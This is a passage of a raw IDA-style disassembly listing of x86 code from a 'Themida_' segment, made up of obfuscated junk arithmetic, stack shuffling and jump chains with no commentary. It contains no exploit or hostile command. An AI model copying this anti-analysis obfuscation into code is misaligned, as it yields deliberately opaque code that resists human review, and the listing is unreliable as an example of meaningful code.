edx push 36A539EFh pop edx inc edx sub edx, 0C70AE7A7h jmp loc_5AF3F4 ; --------------------------------------------------------------------------- loc_5AED7D: ; CODE XREF: Themida_:005ABD23j pop ebp jmp loc_599648 ; --------------------------------------------------------------------------- loc_5AED83: ; CODE XREF: Themida_:005A57AEj mov eax, 4 add [esp+4], eax push dword ptr [esp] pop eax add esp, 4 pop edx push 31E4h mov [esp], ebx mov ebx, 5C3701C0h sub ebx, 67C710BCh sub ebx, 0FFFFFFFFh xchg ecx, ebx not ecx push ebx sub esp, 4 mov [esp], ecx mov ebx, [esp] add esp, 4 mov ecx, [esp] jmp loc_5A692D ; --------------------------------------------------------------------------- locret_5AEDC9: ; CODE XREF: Themida_:0059D289j retn ; --------------------------------------------------------------------------- jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AEDCF: ; CODE XREF: Themida_:005ADB44j sub edx, 68964CE5h jmp loc_59E842 ; --------------------------------------------------------------------------- loc_5AEDDA: ; CODE XREF: Themida_:005AAF04j push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5ADAB6 ; --------------------------------------------------------------------------- loc_5AEDE7: ; CODE XREF: Themida_:0059B6B2j pop eax add esp, 4 add eax, 4 push esi mov esi, esp push edi jmp loc_5AE266 ; --------------------------------------------------------------------------- loc_5AEDFC: ; CODE XREF: Themida_:00598D92j ; Themida_:005AA4EEj add word ptr [esp+4], 1217h add [esp+4], dx jmp loc_59D8BF ; --------------------------------------------------------------------------- loc_5AEE0D: ; CODE XREF: Themida_:0059BE45j ; Themida_:005A079Fj ... sub esp, 4 jmp loc_5AFB1D ; --------------------------------------------------------------------------- loc_5AEE18: ; CODE XREF: Themida_:005A4D44j ; Themida_:005A4F3Fj add cl, 12h add cl, 0F5h sub dh, 68h add dh, cl jmp loc_5A7050 ; --------------------------------------------------------------------------- loc_5AEE28: ; CODE XREF: Themida_:005A9960j mov eax, [esp] add esp, 4 push 37C0h mov [esp], esi mov esi, 986655Ch sub esp, 4 mov [esp], esi not dword ptr [esp] jmp loc_59BB45 ; --------------------------------------------------------------------------- loc_5AEE4F: ; CODE XREF: Themida_:005A5641j ; Themida_:005ACC1Bj xor eax, 4869C23h add ebx, eax jmp loc_59FD5C ; --------------------------------------------------------------------------- loc_5AEE5B: ; CODE XREF: Themida_:005A34F9j mov ebp, 4 sub eax, 57515842h jmp loc_5A11FF ; --------------------------------------------------------------------------- loc_5AEE6A: ; CODE XREF: Themida_:005A9405j ; Themida_:005AB22Bj neg cl xor cl, 2Dh xor cl, 47h jmp loc_5997A7 ; --------------------------------------------------------------------------- loc_5AEE77: ; CODE XREF: Themida_:005AA047j sub edi, ecx jmp loc_59A02A ; --------------------------------------------------------------------------- loc_5AEE7E: ; CODE XREF: Themida_:005A495Dj mov ah, 92h add dh, ah pop ax and al, dh pop edx push edx jmp loc_599E04 ; --------------------------------------------------------------------------- loc_5AEE8D: ; CODE XREF: Themida_:005AE883j add edx, ebp jmp loc_5AC57C ; --------------------------------------------------------------------------- loc_5AEE94: ; CODE XREF: Themida_:005AB573j pop ecx jmp loc_5A0785 ; --------------------------------------------------------------------------- loc_5AEE9A: ; CODE XREF: Themida_:005AB129j push dword ptr [esp] pop eax jmp loc_5A3BE2 ; --------------------------------------------------------------------------- loc_5AEEA3: ; CODE XREF: Themida_:0059D31Aj pop esp push esi push ebx push 2D4D62A8h pop ebx jmp loc_5AD195 ; --------------------------------------------------------------------------- loc_5AEEB1: ; CODE XREF: Themida_:005AC4A1j shl eax, 3 jmp loc_5A7EF1 ; --------------------------------------------------------------------------- loc_5AEEB9: ; CODE XREF: Themida_:005AA89Bj mov [esp], edx mov edx, 4FCC094Ch dec edx add edx, 0C233397Ah jmp loc_5A1968 ; --------------------------------------------------------------------------- loc_5AEECD: ; CODE XREF: Themida_:00598B1Ej ; Themida_:loc_5A6BDCj pop esi push edi jmp loc_5AA2E4 ; --------------------------------------------------------------------------- loc_5AEED4: ; CODE XREF: Themida_:005A3487j jmp loc_5A6FD3 ; --------------------------------------------------------------------------- loc_5AEED9: ; CODE XREF: Themida_:005A1A2Fj xor ebx, 62637CCCh push ebx jmp loc_5A85CB ; --------------------------------------------------------------------------- loc_5AEEE5: ; CODE XREF: Themida_:00599BAEj add eax, edx add eax, 34D22E95h jmp loc_5AF2D4 ; --------------------------------------------------------------------------- loc_5AEEF1: ; CODE XREF: Themida_:005994D0j ; Themida_:loc_5AA00Fj and ebx, 0E02D7Dh jnp loc_59E63C dec ebx jg loc_5A7712 sub ah, 9Ch push ecx loc_5AEF08: ; CODE XREF: Themida_:005AD05Ej ; Themida_:005AEA5Aj jp loc_5A4636 push eax not byte ptr [esp+1] pop eax neg ah jmp loc_5A3093 ; --------------------------------------------------------------------------- loc_5AEF1B: ; CODE XREF: Themida_:005A9A19j sub edx, 167173Dh jmp loc_5AD14C ; --------------------------------------------------------------------------- loc_5AEF26: ; CODE XREF: Themida_:005A613Cj pop ebx add edx, edi pop edi xchg edx, [esp] pop esp push 1C66h mov [esp], ecx mov ecx, esp jmp loc_5AF6B1 ; --------------------------------------------------------------------------- loc_5AEF3D: ; CODE XREF: Themida_:loc_59C5A6j inc ecx jle loc_5A75A4 sub ecx, 0B74A92D7h mov esi, ecx mov esi, edi loc_5AEF4E: ; CODE XREF: Themida_:0059BA9Bj xchg ah, dh not ah jmp loc_5A0DA8 ; --------------------------------------------------------------------------- loc_5AEF57: ; CODE XREF: Themida_:005AA3CFj shr ebp, 5 push edx mov edx, 3A91247Ah add edx, 65374DAEh sub edx, 4DF508CDh jmp loc_59DFB5 ; --------------------------------------------------------------------------- loc_5AEF71: ; CODE XREF: Themida_:005A6044j ; Themida_:005A7E13j xor edi, 0B9677546h add esi, 57F54D20h add esi, edi sub esi, 57F54D20h pop edi add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_5A9989 ; --------------------------------------------------------------------------- loc_5AEF94: ; CODE XREF: Themida_:005ADF1Ej movzx ax, byte ptr fs:[edx] push edi push 764Ch mov [esp], esp jmp loc_5A0022 ; --------------------------------------------------------------------------- loc_5AEFA7: ; CODE XREF: Themida_:005AF725j mov [esp], esp add dword ptr [esp], 4 pop ebx push eax jmp loc_5A00AB ; --------------------------------------------------------------------------- loc_5AEFB8: ; CODE XREF: Themida_:005A90C6j push ebx jmp loc_5A8269 ; --------------------------------------------------------------------------- loc_5AEFBE: ; CODE XREF: Themida_:00599AA5j push ecx mov ecx, 4 add edi, ecx pop ecx xchg edi, [esp] pop esp or eax, eax jz loc_5ABE60 push ecx push 3B25h jmp loc_5A05FD ; --------------------------------------------------------------------------- loc_5AEFDE: ; CODE XREF: Themida_:0059B850j xchg edx, [esp] mov esp, [esp] jmp loc_599D71 ; --------------------------------------------------------------------------- loc_5AEFE9: ; CODE XREF: Themida_:005A7CAFj mov cl, 2Ah sub al, cl pop cx jmp loc_59D6C9 ; --------------------------------------------------------------------------- loc_5AEFF4: ; CODE XREF: Themida_:005A8A7Aj ; Themida_:005ADA45j pop ebx add ecx, edi pop edi sub esp, 4 mov [esp], eax mov eax, 4 add ecx, eax push dword ptr [esp] jmp loc_5A87B6 ; --------------------------------------------------------------------------- loc_5AF010: ; DATA XREF: Themida_:005986E0o push dword ptr [esp] mov eax, [esp] add esp, 4 push 148Dh mov [esp], ebx push esp pop ebx sub esp, 4 jmp loc_5A75B8 ; --------------------------------------------------------------------------- loc_5AF02E: ; CODE XREF: Themida_:0059CA8Cj mov [esp], edi push ebx push edx mov edx, 21B33B31h jmp loc_5A6C96 ; --------------------------------------------------------------------------- loc_5AF03D: ; CODE XREF: Themida_:005AF203j push 16CCh mov [esp], ebx mov bl, 59h neg bl xor bl, 39h shr bl, 8 xor bl, 0ACh sub al, 56h add al, bl jmp loc_5A6DA5 ; --------------------------------------------------------------------------- loc_5AF05B: ; CODE XREF: Themida_:005AE383j mov edx, [esp] add esp, 4 push edx mov edx, 0E17895F3h add eax, edx pop edx add edi, 42963D04h add edi, eax sub edi, 42963D04h pop eax add edi, 2 xchg edi, [esp] mov esp, [esp] or [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AF08E: ; CODE XREF: Themida_:00598E21j shl ah, 6 jmp loc_599620 ; --------------------------------------------------------------------------- loc_5AF096: ; CODE XREF: Themida_:005AA3ABj and esi, 11A914F8h jmp loc_5A04FE ; --------------------------------------------------------------------------- loc_5AF0A1: ; CODE XREF: Themida_:005A7475j add ebx, ebp sub ebx, 214A5A67h pop ebp jmp loc_5A547D ; --------------------------------------------------------------------------- loc_5AF0AF: ; CODE XREF: Themida_:005A7099j mov ebx, eax mov edx, ebx pop ebx pop eax sub ebx, edx mov edx, [esp] jmp loc_5A38B8 ; --------------------------------------------------------------------------- loc_5AF0BF: ; CODE XREF: Themida_:005AC97Ej add ebx, 26680828h jb loc_59DE4D sub ebx, 86423A4Fh mov ebp, ebx pop ebx add eax, 0C8D0DE4h add eax, 46ED1A0Ah jmp loc_5A6DE8 ; --------------------------------------------------------------------------- loc_5AF0E3: ; CODE XREF: Themida_:005A7AECj mov ebx, 56143A45h dec ebx jmp loc_59B002 ; --------------------------------------------------------------------------- loc_5AF0EE: ; CODE XREF: Themida_:0059E2DCj or edx, eax jmp loc_598DF3 ; --------------------------------------------------------------------------- loc_5AF0F5: ; CODE XREF: Themida_:0059A947j pop edi neg ebx push esi mov esi, 2A37689Dh xor esi, 4F1A0523h push ecx mov ecx, 377D4330h sub esi, 64026243h add esi, 69493C39h sub esi, ecx push ebp mov ebp, 9E2CEFh not ebp xor ebp, 3B8873B3h not ebp jmp loc_5AC4B9 ; --------------------------------------------------------------------------- loc_5AF12D: ; CODE XREF: Themida_:0059F8FBj add edx, 0F874C989h xor ebp, edx pop edx jmp loc_5AB837 ; --------------------------------------------------------------------------- loc_5AF13B: ; CODE XREF: Themida_:00598F37j add al, dh jmp loc_59C901 ; --------------------------------------------------------------------------- loc_5AF142: ; CODE XREF: Themida_:005ACCE7j mov cl, 33h neg cl not cl jmp loc_5A3916 ; --------------------------------------------------------------------------- loc_5AF14D: ; CODE XREF: Themida_:loc_5A23A5j xor ecx, 9CE96EF3h neg ecx jmp loc_5AB026 ; --------------------------------------------------------------------------- loc_5AF15A: ; CODE XREF: Themida_:005A0FD6j push esp mov eax, [esp] add esp, 4 add eax, 4 push ecx jmp loc_5A3388 ; --------------------------------------------------------------------------- loc_5AF16F: ; CODE XREF: Themida_:005AA86Aj pop eax jmp loc_5ABE72 ; --------------------------------------------------------------------------- loc_5AF175: ; CODE XREF: Themida_:005AE3D8j mov esi, 7E4C74B5h sub esi, 0D583789h add esi, 0F2F8C997h jmp loc_59B949 ; --------------------------------------------------------------------------- loc_5AF18B: ; CODE XREF: Themida_:0059DE48j dec ebx add ebx, 534BD2BBh add edx, ebx pop ebx mov edi, edx pop edx add ebx, 429D647Bh sub ebx, edi sub ebx, 429D647Bh jmp loc_5A2550 ; --------------------------------------------------------------------------- loc_5AF1AB: ; CODE XREF: Themida_:005A4D83j add esi, 4 xchg esi, [esp] jmp loc_5A7681 ; --------------------------------------------------------------------------- loc_5AF1B9: ; CODE XREF: Themida_:005AB931j push 124Dh mov [esp], ebx jmp loc_5A26E5 ; --------------------------------------------------------------------------- loc_5AF1C6: ; CODE XREF: Themida_:005A05CDj not ecx xchg eax, ecx xor eax, 16396459h jmp loc_5AFBF9 ; --------------------------------------------------------------------------- loc_5AF1D3: ; CODE XREF: Themida_:005992C7j mov [esp], ebx push 24h jmp loc_5996DA ; --------------------------------------------------------------------------- loc_5AF1E0: ; CODE XREF: Themida_:0059BF18j pop edx jmp loc_5A097C ; --------------------------------------------------------------------------- loc_5AF1E6: ; CODE XREF: Themida_:00598D7Aj mov esi, [esp] push ebx jmp loc_5AE079 ; --------------------------------------------------------------------------- loc_5AF1EF: ; CODE XREF: Themida_:0059AE03j sub ebp, ecx push dword ptr [esp] jmp loc_5A2270 ; --------------------------------------------------------------------------- loc_5AF1F9: ; CODE XREF: Themida_:005A4D68j push edx mov dl, 0BEh sub al, 52h add al, dl add al, 52h pop edx jmp loc_5AF03D ; --------------------------------------------------------------------------- loc_5AF208: ; CODE XREF: Themida_:00599260j ; Themida_:005AF5FAj add esi, eax jmp loc_599915 ; --------------------------------------------------------------------------- loc_5AF20F: ; CODE XREF: Themida_:005ACAD2j mov edx, eax mov eax, [esp] add esp, 4 sub esi, 62204C5Ch add esi, edx push ebp mov ebp, 311A231Ah sub ebp, 0CEF9D6BEh add esi, ebp mov ebp, [esp] add esp, 4 pop edx sub esp, 4 mov [esp], edx mov edx, 4 push ebp mov ebp, 24FE7F98h add esi, ebp pop ebp sub esi, edx sub esi, 24FE7F98h mov edx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5AA032 ; --------------------------------------------------------------------------- loc_5AF267: ; CODE XREF: Themida_:005ADDF5j sub bl, 0DEh pop ecx push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 sub edi, ecx pop ecx sub esp, 4 jmp loc_5A54AB ; --------------------------------------------------------------------------- loc_5AF285: ; CODE XREF: Themida_:0059B3FBj inc ah push ebx mov bh, 4Dh and ah, bh push dword ptr [esp] pop ebx add esp, 4 push ecx jmp loc_59C0C9 ; --------------------------------------------------------------------------- loc_5AF299: ; CODE XREF: Themida_:005A67BDj add ebx, eax sub ebx, 5C5B487Ch sub ebx, 350E23FDh jmp loc_59F5BA ; --------------------------------------------------------------------------- loc_5AF2AC: ; CODE XREF: Themida_:loc_5A1E9Fj inc eax jns loc_59D5D5 jmp loc_5A0EBF ; --------------------------------------------------------------------------- push esi jmp loc_5AD7EF ; --------------------------------------------------------------------------- mov eax, esi loc_5AF2C0: ; CODE XREF: Themida_:005A7EF7j sub eax, 0D9C350C9h mov ebx, eax pop eax dec ebx sub ebx, 4A8742F2h jmp loc_5A8BDD ; --------------------------------------------------------------------------- loc_5AF2D4: ; CODE XREF: Themida_:005AEEECj sub eax, 296660F0h mov edx, [esp] push ebx mov ebx, esp jmp loc_5AA8A0 ; --------------------------------------------------------------------------- loc_5AF2E4: ; CODE XREF: Themida_:loc_59F1DFj ; Themida_:005AED0Ej mov [esp], esi mov esi, 2951313Ah push esi not dword ptr [esp] pop esi sub esi, 45075EF7h jmp loc_5A5BB7 ; --------------------------------------------------------------------------- loc_5AF2FC: ; CODE XREF: Themida_:005AB722j sub esi, 425445DBh pop ebp push ebp push 54F5348Ah pop ebp sub ebp, 0FFFFFFFFh jmp loc_5A4863 ; --------------------------------------------------------------------------- loc_5AF312: ; CODE XREF: Themida_:005A775Fj and ebp, 159527B9h sub ebp, 0C306B915h add esi, 7A8809D3h jmp loc_5A30E7 ; --------------------------------------------------------------------------- loc_5AF329: ; CODE XREF: Themida_:005A5047j sub ch, bl mov bx, [esp] jmp loc_59AFEA ; --------------------------------------------------------------------------- loc_5AF334: ; CODE XREF: Themida_:005ACAC8j add edi, 0BBB7035h mov ecx, [esp] push edi mov edi, esp add edi, 4 jmp loc_59FC4E ; --------------------------------------------------------------------------- loc_5AF34B: ; CODE XREF: Themida_:0059CC0Dj pop edx pop eax inc edx xchg ecx, edx jmp loc_5AD2FA ; --------------------------------------------------------------------------- loc_5AF355: ; CODE XREF: Themida_:0059FC3Ej push eax mov eax, 69AD2CCDh jmp loc_598D69 ; --------------------------------------------------------------------------- loc_5AF360: ; CODE XREF: Themida_:005A0580j add ebx, 2EE0603h jmp loc_5A6FC8 ; --------------------------------------------------------------------------- loc_5AF36B: ; CODE XREF: Themida_:005AC47Aj neg ecx sub ecx, 45862BC0h dec ecx jmp loc_5AB4DA ; --------------------------------------------------------------------------- loc_5AF379: ; CODE XREF: Themida_:005A136Bj push eax push 7D27h mov [esp], edx mov eax, [esp] push ecx push eax mov eax, esp jmp loc_5A8CB2 ; --------------------------------------------------------------------------- loc_5AF38E: ; CODE XREF: Themida_:0059E293j xchg esi, [esp] pop esp add ecx, edx jmp loc_59D28E ; --------------------------------------------------------------------------- loc_5AF399: ; CODE XREF: Themida_:0059F793j dec dl jmp loc_5ADD2B ; --------------------------------------------------------------------------- loc_5AF3A0: ; CODE XREF: Themida_:loc_5ABA9Dj dec ebx jno loc_5A750C or ebx, 2B3D7309h jmp loc_5A1F12 ; --------------------------------------------------------------------------- db 59h off_5AF3B3 dd offset dword_49005C+2370Ch ; DATA XREF: Themida_:00598738o align 4 mov [esp], ebx mov ebx, 0FEh jmp loc_5A1272 ; --------------------------------------------------------------------------- loc_5AF3C5: ; CODE XREF: Themida_:005ADC1Ej push edx push edi sub esp, 4 jmp loc_5A83CF ; --------------------------------------------------------------------------- loc_5AF3D2: ; CODE XREF: Themida_:loc_5A7BD6j xor edx, 65B5EAEFh xor esi, edx jmp loc_5A1F68 ; --------------------------------------------------------------------------- loc_5AF3DF: ; CODE XREF: Themida_:005A23D0j sub ebx, 4A296107h jmp loc_598BF7 ; --------------------------------------------------------------------------- loc_5AF3EA: ; CODE XREF: Themida_:005A4DDCj mov ecx, 4 jmp loc_59E4CD ; --------------------------------------------------------------------------- loc_5AF3F4: ; CODE XREF: Themida_:0059D1B2j ; Themida_:005AED78j mov edi, edx jmp loc_5AE1B8 ; --------------------------------------------------------------------------- loc_5AF3FB: ; CODE XREF: Themida_:005AF438j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_5A0972 ; --------------------------------------------------------------------------- loc_5AF41D: ; CODE XREF: Themida_:005AC494j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5A428D ; --------------------------------------------------------------------------- loc_5AF431: ; CODE XREF: Themida_:005A6628j xchg edx, [esp] pop esp push ebx mov ebx, esp jmp loc_5AF3FB ; --------------------------------------------------------------------------- loc_5AF43D: ; CODE XREF: Themida_:005A2B18j xchg eax, [esp] mov esp, [esp] xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ax jmp loc_5AD900 ; --------------------------------------------------------------------------- loc_5AF458: ; CODE XREF: Themida_:005A86F1j sub esp, 4 mov [esp], ebp pop edi pop ebp sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebp not dword ptr [esp] push dword ptr [esp] jmp loc_599140 ; --------------------------------------------------------------------------- loc_5AF48B: ; CODE XREF: Themida_:0059BA4Bj push dword ptr [edi+eax*4] jmp loc_59EFB5 ; --------------------------------------------------------------------------- loc_5AF493: ; CODE XREF: Themida_:005AB08Aj mov ebp, esi pop esi shl ebp, 2 jp loc_5A0655 jmp loc_5A2F3C ; --------------------------------------------------------------------------- loc_5AF4A4: ; CODE XREF: Themida_:0059C6C3j and al, ch mov cx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5A1F8D ; --------------------------------------------------------------------------- loc_5AF4B8: ; CODE XREF: Themida_:005A454Bj pop eax push ebp jmp loc_5A345E ; --------------------------------------------------------------------------- loc_5AF4BF: ; CODE XREF: Themida_:005AF65Bj push dword ptr [esp] pop edx push 3375h mov [esp], esi push ebx mov ebx, esp jmp loc_5A0C32 ; --------------------------------------------------------------------------- loc_5AF4D3: ; CODE XREF: Themida_:0059B12Ej shl eax, 2 jmp loc_5A202B ; --------------------------------------------------------------------------- loc_5AF4DB: ; CODE XREF: Themida_:0059EDD9j sub esp, 4 mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push 3620h mov [esp], ebp jmp loc_59D498 ; --------------------------------------------------------------------------- loc_5AF4FE: ; CODE XREF: Themida_:0059AFF8j sub ch, 9Bh sub ch, 0E6h sub bl, 0B6h jmp loc_5AABD6 ; --------------------------------------------------------------------------- loc_5AF50C: ; CODE XREF: Themida_:005AE45Fj dec eax jmp loc_5A2BE0 ; --------------------------------------------------------------------------- loc_5AF512: ; CODE XREF: Themida_:005AFA38j or ebp, 420F1EF0h jge loc_5A4F44 and ebp, 53AC06A5h jmp loc_5AD9A0 ; --------------------------------------------------------------------------- loc_5AF529: ; DATA XREF: Themida_:005987BCo push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AF538: ; CODE XREF: Themida_:0059D51Aj push ecx sub esp, 4 jmp loc_5AA779 ; --------------------------------------------------------------------------- loc_5AF544: ; CODE XREF: Themida_:005A5B92j mov esp, [esp] div ecx jmp loc_59F62D ; --------------------------------------------------------------------------- loc_5AF54E: ; CODE XREF: Themida_:0059AA51j mov [esp], ax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AF557: ; CODE XREF: Themida_:005A71FBj ; Themida_:005A7A4Bj jns loc_5A9668 shl edi, 8 jns loc_59A0B7 mov ecx, edx push esi loc_5AF569: ; CODE XREF: Themida_:005ADE96j add ebx, 18BB1CC5h sub ebx, eax sub ebx, 18BB1CC5h add ebx, 3CB808B4h sub ebx, 1B3447ACh jmp loc_5A3C25 ; --------------------------------------------------------------------------- loc_5AF588: ; CODE XREF: Themida_:loc_59F44Cj neg edx jz loc_59E827 jmp loc_59A0CE ; --------------------------------------------------------------------------- loc_5AF595: ; CODE XREF: Themida_:005AACA4j xor [ecx], ebp pop ecx jmp loc_5A6D33 ; --------------------------------------------------------------------------- loc_5AF59D: ; CODE XREF: Themida_:00598C5Aj mov ebp, 41A93F70h jmp loc_59ED46 ; --------------------------------------------------------------------------- loc_5AF5A7: ; CODE XREF: Themida_:00599815j pop eax mov dh, 80h add dh, bh mov ebx, [esp] add esp, 4 add bl, 1Fh sub bl, dh jmp loc_5AAE72 ; --------------------------------------------------------------------------- loc_5AF5BC: ; DATA XREF: Themida_:005986ECo lodsb push cx push eax jmp loc_5A22B5 ; --------------------------------------------------------------------------- loc_5AF5C5: ; CODE XREF: Themida_:005AD656j add edi, 7DFC093Dh xor edi, 76EB798Dh inc edi jmp loc_5A0545 ; --------------------------------------------------------------------------- loc_5AF5D7: ; CODE XREF: Themida_:005A975Ej mov dl, 67h jmp loc_59C692 ; --------------------------------------------------------------------------- loc_5AF5DE: ; CODE XREF: Themida_:0059E8B7j add ecx, eax jmp loc_5A3B44 ; --------------------------------------------------------------------------- loc_5AF5E5: ; CODE XREF: Themida_:005A5C6Ej pop esp xor [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AF5EF: ; CODE XREF: Themida_:005AE7A1j mov eax, 2 add esi, 7DC51205h jmp loc_5AF208 ; --------------------------------------------------------------------------- loc_5AF5FF: ; CODE XREF: Themida_:005A0F86j add esp, 4 xor ebx, eax push ecx jmp loc_59FE89 ; --------------------------------------------------------------------------- loc_5AF60A: ; CODE XREF: Themida_:005AE141j shr dh, 2 and dh, 3Dh inc dh dec dh jmp loc_5A9273 ; --------------------------------------------------------------------------- loc_5AF619: ; CODE XREF: Themida_:0059901Fj push eax mov eax, esp jmp loc_59E71F ; --------------------------------------------------------------------------- loc_5AF621: ; CODE XREF: Themida_:005AB9DEj push ecx mov ecx, 4E77E6Eh jmp loc_5A1943 ; --------------------------------------------------------------------------- loc_5AF62C: ; CODE XREF: Themida_:005A2224j ; Themida_:005A6CBCj add ecx, esi pop esi sub esi, 37E95517h sub esi, 843769Eh add esi, ecx jmp loc_5A9896 ; --------------------------------------------------------------------------- loc_5AF642: ; CODE XREF: Themida_:0059E308j add ecx, 31422D66h push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], edi jmp loc_5AF4BF ; --------------------------------------------------------------------------- loc_5AF660: ; CODE XREF: Themida_:0059F2FAj push 727Ch mov [esp], eax jmp loc_5A805A ; --------------------------------------------------------------------------- push esp push dword ptr [esp] mov edx, [esp] push edx mov edx, esp sub esp, 4 mov [esp], ecx push 623Ah jmp loc_5A569B ; --------------------------------------------------------------------------- loc_5AF68A: ; CODE XREF: Themida_:005AB928j pop edx add esp, 4 jmp loc_5ABC16 ; --------------------------------------------------------------------------- loc_5AF696: ; CODE XREF: Themida_:005ABF65j jmp loc_5ADE3C ; --------------------------------------------------------------------------- loc_5AF69B: ; CODE XREF: Themida_:005AEA19j mov ecx, 4 sub ebp, 66A13FE1h sub ebp, 43396CCCh jmp loc_5A4CE6 ; --------------------------------------------------------------------------- loc_5AF6B1: ; CODE XREF: Themida_:005AEF38j add ecx, 4 jmp loc_5A941D ; --------------------------------------------------------------------------- loc_5AF6BC: ; CODE XREF: Themida_:005A9D05j pop edx add ecx, 2 xor ecx, [esp] jmp loc_5998A7 ; --------------------------------------------------------------------------- loc_5AF6C8: ; CODE XREF: Themida_:005AA2A0j add esp, 4 jmp loc_59EA17 ; --------------------------------------------------------------------------- loc_5AF6D0: ; CODE XREF: Themida_:005ACE8Bj mov [esp], esi jmp loc_5A5378 ; --------------------------------------------------------------------------- loc_5AF6D8: ; CODE XREF: Themida_:0059B11Cj sub edx, 69034C38h jmp loc_5AA7FE ; --------------------------------------------------------------------------- loc_5AF6E3: ; CODE XREF: Themida_:00598E72j ; Themida_:005A6F4Fj xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] and ebx, ebp mov ebp, [esp] jmp loc_5A5B9D ; --------------------------------------------------------------------------- loc_5AF6F7: ; CODE XREF: Themida_:005A4271j pop ebp xor edx, 72926D7h or edx, 0C775F9Ah push edi mov edi, 5F574A1Bh or edx, edi pop edi add edx, 0BF2CC0B8h mov eax, edx pop edx sub [esp+4], eax pop eax push dword ptr [esp] pop eax push ebx push 354Dh jmp loc_5AEFA7 ; --------------------------------------------------------------------------- loc_5AF72A: ; CODE XREF: Themida_:005A20B6j add edi, ecx pop ecx sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push ebp mov ebp, 57D80383h shl ebp, 8 add ebp, 87FD98D9h mov edi, ebp mov ebp, [esp] jmp loc_5AA4AF ; --------------------------------------------------------------------------- loc_5AF753: ; CODE XREF: Themida_:005A314Bj mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp shl dword ptr [esp], cl jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AF768: ; CODE XREF: Themida_:005ACEDEj ; Themida_:005AE7BAj push ecx jmp loc_598F2E ; --------------------------------------------------------------------------- loc_5AF76E: ; CODE XREF: Themida_:005A11FAj ; Themida_:005AF893j jnp loc_5AA021 xor edi, 398B7D17h jmp loc_5A31BF ; --------------------------------------------------------------------------- loc_5AF77F: ; CODE XREF: Themida_:005A01B5j add eax, 5F1C159Eh mov ebx, eax mov eax, [esp] add esp, 4 sub edx, ebx pop ebx push dword ptr [esp] pop edi add esp, 4 jmp loc_59938B ; --------------------------------------------------------------------------- loc_5AF79E: ; CODE XREF: Themida_:loc_5A764Ej not ecx jmp loc_59CC03 ; --------------------------------------------------------------------------- loc_5AF7A5: ; DATA XREF: Themida_:005987ECo mov cx, [esp] push 215h mov [esp], ebx jmp loc_5AD8ED ; --------------------------------------------------------------------------- loc_5AF7B6: ; CODE XREF: Themida_:005A1044j mov [esp], edi push esp pop edi sub esp, 4 mov [esp], ebp push ebx push edx push 739D4003h jmp loc_59AD61 ; --------------------------------------------------------------------------- loc_5AF7D0: ; CODE XREF: Themida_:0059A683j ; Themida_:loc_5A5C57j add edi, 4 xchg edi, [esp] jmp loc_5A87F0 ; --------------------------------------------------------------------------- loc_5AF7DB: ; CODE XREF: Themida_:005AAFB0j push ebp mov ebp, 2 add eax, ebp jmp loc_59D86A ; --------------------------------------------------------------------------- loc_5AF7E8: ; CODE XREF: Themida_:0059A260j add esp, 4 push eax push esp pop eax push ecx jmp loc_5A3729 ; --------------------------------------------------------------------------- loc_5AF7F7: ; CODE XREF: Themida_:005A71A7j mov [esp], ebp push 6EDBh mov [esp], edx mov edx, 3E6C6011h push ecx push 5FE3CE0h pop ecx dec ecx jl loc_59F0F9 jmp loc_5A9B57 ; --------------------------------------------------------------------------- loc_5AF81A: ; CODE XREF: Themida_:005AAE84j mov dh, 0E8h mov ah, dh jmp loc_5AD24C ; --------------------------------------------------------------------------- loc_5AF823: ; CODE XREF: Themida_:0059B8D3j sub edi, 5D9A683Ch add edi, ecx add edi, 5D9A683Ch pop ecx jmp loc_5A9ADA ; --------------------------------------------------------------------------- loc_5AF837: ; CODE XREF: Themida_:0059EF82j xor [esp], ebx xor ebx, [esp] xor [esp], ebx push ecx jmp loc_59DDBB ; --------------------------------------------------------------------------- loc_5AF846: ; CODE XREF: Themida_:005A3823j sub esp, 4 mov [esp], ecx push eax mov ah, 57h dec ah jmp loc_5A7CB4 ; --------------------------------------------------------------------------- loc_5AF859: ; CODE XREF: Themida_:005A4C45j mov [esp], ecx mov ecx, 3F133A1Eh jmp loc_59DA29 ; --------------------------------------------------------------------------- loc_5AF866: ; CODE XREF: Themida_:005ACE15j mov [esp], esp jmp loc_5A5DF1 ; --------------------------------------------------------------------------- loc_5AF86E: ; CODE XREF: Themida_:005A2754j shl ecx, 2 shl ecx, 7 add ecx, 1 push ebx sub esp, 4 mov [esp], eax push 128D3EFCh pop eax jmp loc_59CF76 ; --------------------------------------------------------------------------- loc_5AF88C: ; CODE XREF: Themida_:loc_5A01E9j xor ebp, 4E0F5DDEh inc ebp jmp loc_5AF76E ; --------------------------------------------------------------------------- loc_5AF898: ; CODE XREF: Themida_:0059FF6Dj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push edx push eax mov eax, 6A9E2877h mov edx, eax pop eax mov eax, 6A9E287Bh add eax, 53B043BAh jmp loc_5AE5AE ; --------------------------------------------------------------------------- loc_5AF8BE: ; CODE XREF: Themida_:005A1BC2j push 5AE1h mov [esp], edi jmp loc_5AAD79 ; --------------------------------------------------------------------------- loc_5AF8CB: ; CODE XREF: Themida_:005AB64Cj add esp, 4 push 594Fh jmp loc_5A734F ; --------------------------------------------------------------------------- loc_5AF8DB: ; CODE 